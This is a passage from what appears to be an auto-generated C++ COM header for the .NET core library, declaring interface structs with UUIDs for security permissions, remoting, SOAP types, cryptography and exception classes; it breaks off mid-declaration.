struct __declspec(uuid("38b6068c-1e94-3119-8841-1eca35ed8578")) _RegistryPermissionAttribute : IDispatch {}; struct __declspec(uuid("3a5b876c-cde4-32d2-9c7e-020a14aca332")) _SecurityPermissionAttribute : IDispatch {}; struct __declspec(uuid("1d5c0f70-af29-38a3-9436-3070a310c73b")) _UIPermissionAttribute : IDispatch {}; struct __declspec(uuid("2e3be3ed-2f22-3b20-9f92-bd29b79d6f42")) _ZoneIdentityPermissionAttribute : IDispatch {}; struct __declspec(uuid("c9a740f4-26e9-39a8-8885-8ca26bd79b21")) _StrongNameIdentityPermissionAttribute : IDispatch {}; struct __declspec(uuid("6fe6894a-2a53-3fb6-a06e-348f9bdad23b")) _SiteIdentityPermissionAttribute : IDispatch {}; struct __declspec(uuid("ca4a2073-48c5-3e61-8349-11701a90dd9b")) _UrlIdentityPermissionAttribute : IDispatch {}; struct __declspec(uuid("6722c730-1239-3784-ac94-c285ae5b901a")) _PublisherIdentityPermissionAttribute : IDispatch {}; struct __declspec(uuid("5c4c522f-de4e-3595-9aa9-9319c86a5283")) _IsolatedStoragePermissionAttribute : IDispatch {}; struct __declspec(uuid("6f1f8aae-d667-39cc-98fa-722bebbbeac3")) _IsolatedStorageFilePermissionAttribute : IDispatch {}; struct __declspec(uuid("947a1995-bc16-3e7c-b65a-99e71f39c091")) _PermissionSetAttribute : IDispatch {}; struct __declspec(uuid("aeb3727f-5c3a-34c4-bf18-a38f088ac8c7")) _ReflectionPermission : IDispatch {}; struct __declspec(uuid("7c6b06d1-63ad-35ef-a938-149b4ad9a71f")) _PrincipalPermission : IDispatch {}; struct __declspec(uuid("33c54a2d-02bd-3848-80b6-742d537085e5")) _SecurityPermission : IDispatch {}; struct __declspec(uuid("790b3ee9-7e06-3cd0-8243-5848486d6a78")) _SiteIdentityPermission : IDispatch {}; struct __declspec(uuid("5f1562fb-0160-3655-baea-b15bef609161")) _StrongNameIdentityPermission : IDispatch {}; struct __declspec(uuid("af53d21a-d6af-3406-b399-7df9d2aad48a")) _StrongNamePublicKeyBlob : IDispatch {}; struct __declspec(uuid("47698389-f182-3a67-87df-aed490e14dc6")) _UIPermission : IDispatch {}; struct __declspec(uuid("ec7cac31-08a2-393b-bdf2-d052eb53af2c")) _UrlIdentityPermission : IDispatch {}; struct __declspec(uuid("38b2f8d7-8cf4-323b-9c17-9c55ee287a63")) _ZoneIdentityPermission : IDispatch {}; struct __declspec(uuid("5f19e082-26f8-3361-b338-9bacb98809a4")) _GacIdentityPermissionAttribute : IDispatch {}; struct __declspec(uuid("a9637792-5be8-3c93-a501-49f0e840de38")) _GacIdentityPermission : IDispatch {}; struct __declspec(uuid("094351ea-dbc1-327f-8a83-913b593a66be")) _KeyContainerPermissionAccessEntry : IDispatch {}; struct __declspec(uuid("28ecf94e-3510-3a3e-8bd1-f866f45f3b06")) _KeyContainerPermissionAccessEntryCollection : IDispatch {}; struct __declspec(uuid("293187ea-5f88-316f-86a5-533b0c7b353f")) _KeyContainerPermissionAccessEntryEnumerator : IDispatch {}; struct __declspec(uuid("107a3cf1-b35e-3a23-b660-60264b231225")) _KeyContainerPermission : IDispatch {}; struct __declspec(uuid("e86cc74a-1233-3df3-b13f-8b27eeaac1f6")) _PublisherIdentityPermission : IDispatch {}; struct __declspec(uuid("c3fb5510-3454-3b31-b64f-de6aad6be820")) _RegistryPermission : IDispatch {}; struct __declspec(uuid("8000e51a-541c-3b20-a8ec-c8a8b41116c4")) _SuppressUnmanagedCodeSecurityAttribute : IDispatch {}; struct __declspec(uuid("41f41c1b-7b8d-39a3-a28f-aae20787f469")) _UnverifiableCodeAttribute : IDispatch {}; struct __declspec(uuid("f1c930c4-2233-3924-9840-231d008259b4")) _AllowPartiallyTrustedCallersAttribute : IDispatch {}; struct __declspec(uuid("9deae196-48c1-3590-9d0a-33716a214acd")) _HostSecurityManager : IDispatch {}; struct __declspec(uuid("c2af4970-4fb6-319c-a8aa-0614d27f2b2c")) _PermissionSet : IDispatch {}; struct __declspec(uuid("ba3e053f-ade3-3233-874a-16e624c9a49b")) _NamedPermissionSet : IDispatch {}; struct __declspec(uuid("f174290f-e4cf-3976-88aa-4f8e32eb03db")) _SecurityException : IDispatch {}; struct __declspec(uuid("ed727a9b-6fc5-3fed-bedd-7b66c847f87a")) _HostProtectionException : IDispatch {}; struct __declspec(uuid("abc04b16-5539-3c7e-92ec-0905a4a24464")) _SecurityManager : IDispatch {}; struct __declspec(uuid("f65070df-57af-3ae3-b951-d2ad7d513347")) _VerificationException : IDispatch {}; struct __declspec(uuid("f042505b-7aac-313b-a8c7-3f1ac949c311")) _ContextAttribute : IDispatch {}; struct __declspec(uuid("3936abe1-b29e-3593-83f1-793d1a7f3898")) _AsyncResult : IDispatch {}; struct __declspec(uuid("ffb2e16e-e5c7-367c-b326-965abf510f24")) _ChannelServices : IDispatch {}; struct __declspec(uuid("e1796120-c324-30d8-86f4-20086711463b")) _ClientChannelSinkStack : IDispatch {}; struct __declspec(uuid("52da9f90-89b3-35ab-907b-3562642967de")) _ServerChannelSinkStack : IDispatch {}; struct __declspec(uuid("ff19d114-3bda-30ac-8e89-36ca64a87120")) _ClientSponsor : IDispatch {}; struct __declspec(uuid("ee949b7b-439f-363e-b9fc-34db1fb781d7")) _CrossContextDelegate : IDispatch {}; struct __declspec(uuid("11a2ea7a-d600-307b-a606-511a6c7950d1")) _Context : IDispatch {}; struct __declspec(uuid("f01d896d-8d5f-3235-be59-20e1e10dc22a")) IContextProperty : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_name ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall IsNewContextOK ( /*[in]*/ struct _Context * newCtx, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall Freeze ( /*[in]*/ struct _Context * newContext ) = 0; }; struct __declspec(uuid("4acb3495-05db-381b-890a-d12f5340dca3")) _ContextProperty : IDispatch {}; struct __declspec(uuid("77c9bceb-9958-33c0-a858-599f66697da7")) _EnterpriseServicesHelper : IDispatch {}; struct __declspec(uuid("aa6da581-f972-36de-a53b-7585428a68ab")) _ChannelDataStore : IDispatch {}; struct __declspec(uuid("65887f70-c646-3a66-8697-8a3f7d8fe94d")) _TransportHeaders : IDispatch {}; struct __declspec(uuid("a18545b7-e5ee-31ee-9b9b-41199b11c995")) _SinkProviderData : IDispatch {}; struct __declspec(uuid("a1329ec9-e567-369f-8258-18366d89eaf8")) _BaseChannelObjectWithProperties : IDispatch {}; struct __declspec(uuid("8af3451e-154d-3d86-80d8-f8478b9733ed")) _BaseChannelSinkWithProperties : IDispatch {}; struct __declspec(uuid("94bb98ed-18bb-3843-a7fe-642824ab4e01")) _BaseChannelWithProperties : IDispatch {}; struct __declspec(uuid("b0ad9a21-5439-3d88-8975-4018b828d74c")) _LifetimeServices : IDispatch {}; struct __declspec(uuid("0eeff4c2-84bf-3e4e-bf22-b7bdbb5df899")) _ReturnMessage : IDispatch {}; struct __declspec(uuid("95e01216-5467-371b-8597-4074402ccb06")) _MethodCall : IDispatch {}; struct __declspec(uuid("a2246ae7-eb81-3a20-8e70-c9fa341c7e10")) _ConstructionCall : IDispatch {}; struct __declspec(uuid("9e9ea93a-d000-3ab9-bfca-ddeb398a55b9")) _MethodResponse : IDispatch {}; struct __declspec(uuid("be457280-6ffa-3e76-9822-83de63c0c4e0")) _ConstructionResponse : IDispatch {}; struct __declspec(uuid("ef926e1f-3ee7-32bc-8b01-c6e98c24bc19")) _InternalMessageWrapper : IDispatch {}; struct __declspec(uuid("c9614d78-10ea-3310-87ea-821b70632898")) _MethodCallMessageWrapper : IDispatch {}; struct __declspec(uuid("89304439-a24f-30f6-9a8f-89ce472d85da")) _MethodReturnMessageWrapper : IDispatch {}; struct __declspec(uuid("1dd3cf3d-df8e-32ff-91ec-e19aa10b63fb")) _ObjRef : IDispatch {}; struct __declspec(uuid("03ec7d10-17a5-3585-9a2e-0596fcac3870")) ITrackingHandler : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall MarshaledObject ( /*[in]*/ VARIANT obj, /*[in]*/ struct _ObjRef * or ) = 0; virtual HRESULT __stdcall UnmarshaledObject ( /*[in]*/ VARIANT obj, /*[in]*/ struct _ObjRef * or ) = 0; virtual HRESULT __stdcall DisconnectedObject ( /*[in]*/ VARIANT obj ) = 0; }; struct __declspec(uuid("8ffedc68-5233-3fa8-813d-405aabb33ecb")) _OneWayAttribute : IDispatch {}; struct __declspec(uuid("d80ff312-2930-3680-a5e9-b48296c7415f")) _ProxyAttribute : IDispatch {}; struct __declspec(uuid("e0cf3f77-c7c3-33da-beb4-46147fc905de")) _RealProxy : IDispatch {}; struct __declspec(uuid("725692a5-9e12-37f6-911c-e3da77e5faca")) _SoapAttribute : IDispatch {}; struct __declspec(uuid("ebcdcd84-8c74-39fd-821c-f5eb3a2704d7")) _SoapTypeAttribute : IDispatch {}; struct __declspec(uuid("c58145b5-bd5a-3896-95d9-b358f54fbc44")) _SoapMethodAttribute : IDispatch {}; struct __declspec(uuid("46a3f9ff-f73c-33c7-bcc3-1bef4b25e4ae")) _SoapFieldAttribute : IDispatch {}; struct __declspec(uuid("c32abfc9-3917-30bf-a7bc-44250bdfc5d8")) _SoapParameterAttribute : IDispatch {}; struct __declspec(uuid("4b10971e-d61d-373f-bc8d-2ccf31126215")) _RemotingConfiguration : IDispatch {}; struct __declspec(uuid("8359f3ab-643f-3bcf-91e8-16e779edebe1")) _TypeEntry : IDispatch {}; struct __declspec(uuid("bac12781-6865-3558-a8d1-f1cadd2806dd")) _ActivatedClientTypeEntry : IDispatch {}; struct __declspec(uuid("94855a3b-5ca2-32cf-b1ab-48fd3915822c")) _ActivatedServiceTypeEntry : IDispatch {}; struct __declspec(uuid("4d0bc339-e3f9-3e9e-8f68-92168e6f6981")) _WellKnownClientTypeEntry : IDispatch {}; struct __declspec(uuid("60b8b604-0aed-3093-ac05-eb98fb29fc47")) _WellKnownServiceTypeEntry : IDispatch {}; struct __declspec(uuid("7264843f-f60c-39a9-99e1-029126aa0815")) _RemotingException : IDispatch {}; struct __declspec(uuid("19373c44-55b4-3487-9ad8-4c621aae85ea")) _ServerException : IDispatch {}; struct __declspec(uuid("44db8e15-acb1-34ee-81f9-56ed7ae37a5c")) _RemotingTimeoutException : IDispatch {}; struct __declspec(uuid("7b91368d-a50a-3d36-be8e-5b8836a419ad")) _RemotingServices : IDispatch {}; struct __declspec(uuid("f4efb305-cdc4-31c5-8102-33c9b91774f3")) _InternalRemotingServices : IDispatch {}; struct __declspec(uuid("04a35d22-0b08-34e7-a573-88ef2374375e")) _MessageSurrogateFilter : IDispatch {}; struct __declspec(uuid("551f7a57-8651-37db-a94a-6a3ca09c0ed7")) _RemotingSurrogateSelector : IDispatch {}; struct __declspec(uuid("7416b6ee-82e8-3a16-966b-018a40e7b1aa")) _SoapServices : IDispatch {}; struct __declspec(uuid("1738adbc-156e-3897-844f-c3147c528dea")) _SoapDateTime : IDispatch {}; struct __declspec(uuid("7ef50ddb-32a5-30a1-b412-47fab911404a")) _SoapDuration : IDispatch {}; struct __declspec(uuid("a3bf0bcd-ec32-38e6-92f2-5f37bad8030d")) _SoapTime : IDispatch {}; struct __declspec(uuid("cfa6e9d2-b3de-39a6-94d1-cc691de193f8")) _SoapDate : IDispatch {}; struct __declspec(uuid("103c7ef9-a9ee-35fb-84c5-3086c9725a20")) _SoapYearMonth : IDispatch {}; struct __declspec(uuid("c20769f3-858d-316a-be6d-c347a47948ad")) _SoapYear : IDispatch {}; struct __declspec(uuid("f9ead0aa-4156-368f-ae05-fd59d70f758d")) _SoapMonthDay : IDispatch {}; struct __declspec(uuid("d9e8314d-5053-3497-8a33-97d3dcfe33e2")) _SoapDay : IDispatch {}; struct __declspec(uuid("b4e32423-e473-3562-aa12-62fde5a7d4a2")) _SoapMonth : IDispatch {}; struct __declspec(uuid("63b9da95-fb91-358a-b7b7-90c34aa34ab7")) _SoapHexBinary : IDispatch {}; struct __declspec(uuid("8ed115a1-5e7b-34dc-ab85-90316f28015d")) _SoapBase64Binary : IDispatch {}; struct __declspec(uuid("30c65c40-4e54-3051-9d8f-4709b6ab214c")) _SoapInteger : IDispatch {}; struct __declspec(uuid("4979ec29-c2b7-3ad6-986d-5aaf7344cc4e")) _SoapPositiveInteger : IDispatch {}; struct __declspec(uuid("aaf5401e-f71c-3fe3-8a73-a25074b20d3a")) _SoapNonPositiveInteger : IDispatch {}; struct __declspec(uuid("bc261fc6-7132-3fb5-9aac-224845d3aa99")) _SoapNonNegativeInteger : IDispatch {}; struct __declspec(uuid("e384aa10-a70c-3943-97cf-0f7c282c3bdc")) _SoapNegativeInteger : IDispatch {}; struct __declspec(uuid("818ec118-be7e-3cde-92c8-44b99160920e")) _SoapAnyUri : IDispatch {}; struct __declspec(uuid("3ac646b6-6b84-382f-9aed-22c2433244e6")) _SoapQName : IDispatch {}; struct __declspec(uuid("974f01f4-6086-3137-9448-6a31fc9bef08")) _SoapNotation : IDispatch {}; struct __declspec(uuid("f4926b50-3f23-37e0-9afa-aa91ff89a7bd")) _SoapNormalizedString : IDispatch {}; struct __declspec(uuid("ab4e97b9-651d-36f4-aaba-28acf5746624")) _SoapToken : IDispatch {}; struct __declspec(uuid("14aed851-a168-3462-b877-8f9a01126653")) _SoapLanguage : IDispatch {}; struct __declspec(uuid("5eb06bef-4adf-3cc1-a6f2-62f76886b13a")) _SoapName : IDispatch {}; struct __declspec(uuid("7947a829-adb5-34d0-9cc8-6c172742c803")) _SoapIdrefs : IDispatch {}; struct __declspec(uuid("aca96da3-96ed-397e-8a72-ee1be1025f5e")) _SoapEntities : IDispatch {}; struct __declspec(uuid("e941fa15-e6c8-3dd4-b060-c0ddfbc0240a")) _SoapNmtoken : IDispatch {}; struct __declspec(uuid("a5e385ae-27fb-3708-baf7-0bf1f3955747")) _SoapNmtokens : IDispatch {}; struct __declspec(uuid("725cdaf7-b739-35c1-8463-e2a923e1f618")) _SoapNcName : IDispatch {}; struct __declspec(uuid("6a46b6a2-2d2c-3c67-af67-aae0175f17ae")) _SoapId : IDispatch {}; struct __declspec(uuid("7db7fd83-de89-38e1-9645-d4cabde694c0")) _SoapIdref : IDispatch {}; struct __declspec(uuid("37171746-b784-3586-a7d5-692a7604a66b")) _SoapEntity : IDispatch {}; struct __declspec(uuid("2d985674-231c-33d4-b14d-f3a6bd2ebe19")) _SynchronizationAttribute : IDispatch {}; struct __declspec(uuid("f51728f2-2def-308c-874a-cbb1baa9cf9e")) _TrackingServices : IDispatch {}; struct __declspec(uuid("717105a3-739b-3bc3-a2b7-ad215903fad2")) _UrlAttribute : IDispatch {}; struct __declspec(uuid("0d296515-ad19-3602-b415-d8ec77066081")) _Header : IDispatch {}; struct __declspec(uuid("5dbbaf39-a3df-30b7-aaea-9fd11394123f")) _HeaderHandler : IDispatch {}; struct __declspec(uuid("ae1850fd-3596-3727-a242-2fc31c5a0312")) IRemotingFormatter : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Deserialize ( /*[in]*/ struct _Stream * serializationStream, /*[in]*/ struct _HeaderHandler * handler, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall Serialize ( /*[in]*/ struct _Stream * serializationStream, /*[in]*/ VARIANT graph, /*[in]*/ SAFEARRAY * headers ) = 0; }; struct __declspec(uuid("53bce4d4-6209-396d-bd4a-0b0a0a177df9")) _CallContext : IDispatch {}; struct __declspec(uuid("9aff21f5-1c9c-35e7-aea4-c3aa0beb3b77")) _LogicalCallContext : IDispatch {}; struct __declspec(uuid("34ec3bd7-f2f6-3c20-a639-804bff89df65")) _IsolatedStorage : IDispatch {}; struct __declspec(uuid("68d5592b-47c8-381a-8d51-3925c16cf025")) _IsolatedStorageFileStream : IDispatch {}; struct __declspec(uuid("aec2b0de-9898-3607-b845-63e2e307cb5f")) _IsolatedStorageException : IDispatch {}; struct __declspec(uuid("6bbb7dee-186f-3d51-9486-be0a71e915ce")) _IsolatedStorageFile : IDispatch {}; struct __declspec(uuid("361a5049-1bc8-35a9-946a-53a877902f25")) _InternalRM : IDispatch {}; struct __declspec(uuid("a864fb13-f945-3dc0-a01c-b903f944fc97")) _InternalST : IDispatch {}; struct __declspec(uuid("bc0847b2-bd5c-37b3-ba67-7d2d54b17238")) _SoapMessage : IDispatch {}; struct __declspec(uuid("a1c392fc-314c-39d5-8de6-1f8ebca0a1e2")) _SoapFault : IDispatch {}; struct __declspec(uuid("02d1bd78-3bb6-37ad-a9f8-f7d5da273e4e")) _ServerFault : IDispatch {}; struct __declspec(uuid("3bcf0cb2-a849-375e-8189-1ba5f1f4a9b0")) _BinaryFormatter : IDispatch {}; struct __declspec(uuid("0daeaee7-007b-3fca-8755-a5c6c3158955")) _DynamicILInfo : IDispatch {}; struct __declspec(uuid("eaaa2670-0fb1-33ea-852b-f1c97fed1797")) _DynamicMethod : IDispatch {}; struct __declspec(uuid("1db1cc2a-da73-389e-828b-5c616f4fac49")) _OpCodes : IDispatch {}; struct __declspec(uuid("b1a62835-fc19-35a4-b206-a452463d7ee7")) _GenericTypeParameterBuilder : IDispatch {}; struct __declspec(uuid("fd302d86-240a-3694-a31f-9ef59e6e41bc")) _UnmanagedMarshal : IDispatch {}; struct __declspec(uuid("8978b0be-a89e-3ff9-9834-77862cebff3d")) _KeySizes : IDispatch {}; struct __declspec(uuid("4311e8f5-b249-3f81-8ff4-cf853d85306d")) _CryptographicException : IDispatch {}; struct __declspec(uuid("7fb08423-038f-3acc-b600-e6d072bae160")) _CryptographicUnexpectedOperationException : IDispatch {}; struct __declspec(uuid("7ae4b03c-414a-36e0-ba68-f9603004c925")) _RandomNumberGenerator : IDispatch {}; struct __declspec(uuid("2c65d4c0-584c-3e4e-8e6d-1afb112bff69")) _RNGCryptoServiceProvider : IDispatch {}; struct __declspec(uuid("05bc0e38-7136-3825-9e34-26c1cf2142c9")) _SymmetricAlgorithm : IDispatch {}; struct __declspec(uuid("09343ac0-d19a-3e62-bc16-0f600f10180a")) _AsymmetricAlgorithm : IDispatch {}; struct __declspec(uuid("b6685cca-7a49-37d1-a805-3de829cb8deb")) _AsymmetricKeyExchangeDeformatter : IDispatch {}; struct __declspec(uuid("1365b84b-6477-3c40-be6a-089dc01eced9")) _AsymmetricKeyExchangeFormatter : IDispatch {}; struct __declspec(uuid("7ca5fe57-d1ac-3064-bb0b-f450be40f194")) _AsymmetricSignatureDeformatter : IDispatch {}; struct __declspec(uuid("5363d066-6295-3618-be33-3f0b070b7976")) _AsymmetricSignatureFormatter : IDispatch {}; struct __declspec(uuid("23ded1e1-7d5f-3936-aa4e-18bbcc39b155")) _ToBase64Transform : IDispatch {}; struct __declspec(uuid("fc0717a6-2e86-372f-81f4-b35ed4bdf0de")) _FromBase64Transform : IDispatch {}; struct __declspec(uuid("983b8639-2ed7-364c-9899-682abb2ce850")) _CryptoAPITransform : IDispatch {}; struct __declspec(uuid("d5331d95-fff2-358f-afd5-588f469ff2e4")) _CspParameters : IDispatch {}; struct __declspec(uuid("ab00f3f8-7dde-3ff5-b805-6c5dbb200549")) _CryptoConfig : IDispatch {}; struct __declspec(uuid("4134f762-d0ec-3210-93c0-de4f443d5669")) _CryptoStream : IDispatch {}; struct __declspec(uuid("c7ef0214-b91c-3799-98dd-c994aabfc741")) _DES : IDispatch {}; struct __declspec(uuid("65e8495e-5207-3248-9250-0fc849b4f096")) _DESCryptoServiceProvider : IDispatch {}; struct __declspec(uuid("140ee78f-067f-3765-9258-c3bc72fe976b")) _DeriveBytes : IDispatch {}; struct __declspec(uuid("0eb5b5e0-1be6-3a5f-87b3-e3323342f44e")) _DSA : IDispatch {}; struct __declspec(uuid("1f38aafe-7502-332f-971f-c2fc700a1d55")) _DSACryptoServiceProvider : IDispatch {}; struct __declspec(uuid("0e774498-ade6-3820-b1d5-426b06397be7")) _DSASignatureDeformatter : IDispatch {}; struct __declspec(uuid("4b5fc561-5983-31e4-903b-1404231b2c89")) _DSASignatureFormatter : IDispatch {}; struct __declspec(uuid("69d3baba-1c3d-354c-acfe-f19109ec3896")) _HashAlgorithm : IDispatch {}; struct __declspec(uuid("d182cf91-628c-3ff6-87f0-41ba51cc7433")) _KeyedHashAlgorithm : IDispatch {}; struct __declspec(uuid("e5456726-33f6-34e4-95c2-db2bfa581462")) _HMAC : IDispatch {}; struct __declspec(uuid("486360f5-6213-322b-befb-45221579d4af")) _HMACMD5 : IDispatch {}; struct __declspec(uuid("9fd974a5-338c-37b9-a1b2-d45f0c2b25c2")) _HMACRIPEMD160 : IDispatch {}; struct __declspec(uuid("63ac7c37-c51a-3d82-8fdd-2a567039e46d")) _HMACSHA1 : IDispatch {}; struct __declspec(uuid("1377ce34-8921-3bd4-96e9-c8d5d5aa1adf")) _HMACSHA256 : IDispatch {}; struct __declspec(uuid("786f8ac3-93e4-3b6f-9f62-1901b0e5f433")) _HMACSHA384 : IDispatch {}; struct __declspec(uuid("eb081b9d-a766-3abe-b720-505c42162d83")) _HMACSHA512 : IDispatch {}; struct __declspec(uuid("be8619cb-3731-3cb2-a3a8-cd0bfa5566ec")) _CspKeyContainerInfo : IDispatch {}; struct __declspec(uuid("494a7583-190e-3693-9ec4-de54dc6a84a2")) ICspAsymmetricAlgorithm : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_CspKeyContainerInfo ( /*[out,retval]*/ struct _CspKeyContainerInfo * * pRetVal ) = 0; virtual HRESULT __stdcall ExportCspBlob ( /*[in]*/ VARIANT_BOOL includePrivateParameters, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall ImportCspBlob ( /*[in]*/ SAFEARRAY * rawData ) = 0; }; struct __declspec(uuid("1cac0bda-ac58-31bc-b624-63f77d0c3d2f")) _MACTripleDES : IDispatch {}; struct __declspec(uuid("9aa8765e-69a0-30e3-9cde-ebc70662ae37")) _MD5 : IDispatch {}; struct __declspec(uuid("d3f5c812-5867-33c9-8cee-cb170e8d844a")) _MD5CryptoServiceProvider : IDispatch {}; struct __declspec(uuid("85601fee-a79d-3710-af21-099089edc0bf")) _MaskGenerationMethod : IDispatch {}; struct __declspec(uuid("3cd62d67-586f-309e-a6d8-1f4baac5ac28")) _PasswordDeriveBytes : IDispatch {}; struct __declspec(uuid("425bff0d-59e4-36a8-b1ff-1f5d39d698f4")) _PKCS1MaskGenerationMethod : IDispatch {}; struct __declspec(uuid("f7c0c4cc-0d49-31ee-a3d3-b8b551e4928c")) _RC2 : IDispatch {}; struct __declspec(uuid("875715c5-cb64-3920-8156-0ee9cb0e07ea")) _RC2CryptoServiceProvider : IDispatch {}; struct __declspec(uuid("a6589897-5a67-305f-9497-72e5fe8bead5")) _Rfc2898DeriveBytes : IDispatch {}; struct __declspec(uuid("e5481be9-3422-3506-bc35-b96d4535014d")) _RIPEMD160 : IDispatch {}; struct __declspec(uuid("814f9c35-b7f8-3ceb-8e43-e01f09157060")) _RIPEMD160Managed : IDispatch {}; struct __declspec(uuid("0b3fb710-a25c-3310-8774-1cf117f95bd4")) _RSA : IDispatch {}; struct __declspec(uuid("bd9df856-2300-3254-bcf0-679ba03c7a13")) _RSACryptoServiceProvider : IDispatch {}; struct __declspec(uuid("37625095-7baa-377d-a0dc-7f465c0167aa")) _RSAOAEPKeyExchangeDeformatter : IDispatch {}; struct __declspec(uuid("77a416e7-2ac6-3d0e-98ff-3ba0f586f56f")) _RSAOAEPKeyExchangeFormatter : IDispatch {}; struct __declspec(uuid("8034aaf4-3666-3b6f-85cf-463f9bfd31a9")) _RSAPKCS1KeyExchangeDeformatter : IDispatch {}; struct __declspec(uuid("9ff67f8e-a7aa-3ba6-90ee-9d44af6e2f8c")) _RSAPKCS1KeyExchangeFormatter : IDispatch {}; struct __declspec(uuid("fc38507e-06a4-3300-8652-8d7b54341f65")) _RSAPKCS1SignatureDeformatter : IDispatch {}; struct __declspec(uuid("fb7a5ff4-cfa8-3f24-ad5f-d5eb39359707")) _RSAPKCS1SignatureFormatter : IDispatch {}; struct __declspec(uuid("21b52a91-856f-373c-ad42-4cf3f1021f5a")) _Rijndael : IDispatch {}; struct __declspec(uuid("427ea9d3-11d8-3e38-9e05-a4f7fa684183")) _RijndaelManaged : IDispatch {}; struct __declspec(uuid("5767c78f-f344-35a5-84bc-53b9eaeb68cb")) _RijndaelManagedTransform : IDispatch {}; struct __declspec(uuid("48600dd2-0099-337f-92d6-961d1e5010d4")) _SHA1 : IDispatch {}; struct __declspec(uuid("a16537bc-1edf-3516-b75e-cc65caf873ab")) _SHA1CryptoServiceProvider : IDispatch {}; struct __declspec(uuid("c27990bb-3cfd-3d29-8dc0-bbe5fbadeafd")) _SHA1Managed : IDispatch {}; struct __declspec(uuid("3b274703-dfae-3f9c-a1b5-9990df9d7fa3")) _SHA256 : IDispatch {}; struct __declspec(uuid("3d077954-7bcc-325b-9dda-3b17a03378e0")) _SHA256Managed : IDispatch {}; struct __declspec(uuid("b60ad5d7-2c2e-35b7-8d77-7946156cfe8e")) _SHA384 : IDispatch {}; struct __declspec(uuid("de541460-f838-3698-b2da-510b09070118")) _SHA384Managed : IDispatch {}; struct __declspec(uuid("49dd9e4b-84f3-3d6d-91fb-3fedcef634c7")) _SHA512 : IDispatch {}; struct __declspec(uuid("dc8ce439-7954-36ed-803c-674f72f27249")) _SHA512Managed : IDispatch {}; struct __declspec(uuid("8017b414-4886-33da-80a3-7865c1350d43")) _SignatureDescription : IDispatch {}; struct __declspec(uuid("c040b889-5278-3132-aff9-afa61707a81d")) _TripleDES : IDispatch {}; struct __declspec(uuid("ec69d083-3cd0-3c0c-998c-3b738db535d5")) _TripleDESCryptoServiceProvider : IDispatch {}; struct __declspec(uuid("68fd6f14-a7b2-36c8-a724-d01f90d73477")) _X509Certificate : IDispatch {}; struct __declspec(uuid("b36b5c63-42ef-38bc-a07e-0b34c98f164a")) _Exception : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_ToString ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Equals ( /*[in]*/ VARIANT obj, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetHashCode ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetType ( /*[out,retval]*/ struct _Type * * pRetVal ) = 0; virtual HRESULT __stdcall get_Message ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall GetBaseException ( /*[out,retval]*/ struct _Exception * * pRetVal ) = 0; virtual HRESULT __stdcall get_StackTrace ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall get_HelpLink ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall put_HelpLink ( /*[in]*/ BSTR pRetVal ) = 0; virtual HRESULT __stdcall get_Source ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall put_Source ( /*[in]*/ BSTR pRetVal ) = 0; virtual HRESULT __stdcall GetObjectData ( /*[in]*/ struct _SerializationInfo * info, /*[in]*/ struct StreamingContext Context ) = 0; virtual HRESULT __stdcall get_InnerException ( /*[out,retval]*/ struct _Exception * * pRetVal ) = 0; virtual HRESULT __stdcall get_TargetSite ( /*[out,retval]*/ struct _MethodBase * * pRetVal ) = 0; }; struct __declspec(uuid("3afab213-f5a2-3241-93ba-329ea4ba8016")) IClientResponseChannelSinkStack : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall AsyncProcessResponse ( /*[in]*/ struct ITransportHeaders * headers, /*[in]*/ struct _Stream * Stream ) = 0; virtual HRESULT __stdcall DispatchReplyMessage ( /*[in]*/ struct IMessage * msg ) = 0; virtual HRESULT __stdcall DispatchException ( /*[in]*/ struct _Exception * e ) = 0; }; struct __declspec(uuid("f617690a-55f4-36af-9149-d199831f8594")) IMethodReturnMessage : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_OutArgCount ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetOutArgName ( /*[in]*/ long index, /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall GetOutArg ( /*[in]*/ long argNum, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_OutArgs ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall get_Exception ( /*[out,retval]*/ struct _Exception * * pRetVal ) = 0; virtual HRESULT __stdcall get_ReturnValue ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; }; struct __declspec(uuid("9a604ee7-e630-3ded-9444-baae247075ab")) IFormattable : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_ToString ( /*[in]*/ BSTR format, /*[in]*/ struct IFormatProvider * formatProvider, /*[out,retval]*/ BSTR * pRetVal ) = 0; }; struct __declspec(uuid("805e3b62-b5e9-393d-8941-377d8bf4556b")) IConvertible : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeCode ( /*[out,retval]*/ enum TypeCode * pRetVal ) = 0; virtual HRESULT __stdcall ToBoolean ( /*[in]*/ struct IFormatProvider * provider, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall ToChar ( /*[in]*/ struct IFormatProvider * provider, /*[out,retval]*/ unsigned short * pRetVal ) = 0; virtual HRESULT __stdcall ToSByte ( /*[in]*/ struct IFormatProvider * provider, /*[out,retval]*/ char * pRetVal ) = 0; virtual HRESULT __stdcall ToByte ( /*[in]*/ struct IFormatProvider * provider, /*[out,retval]*/ unsigned char * pRetVal ) = 0; virtual HRESULT __stdcall ToInt16 ( /*[in]*/ 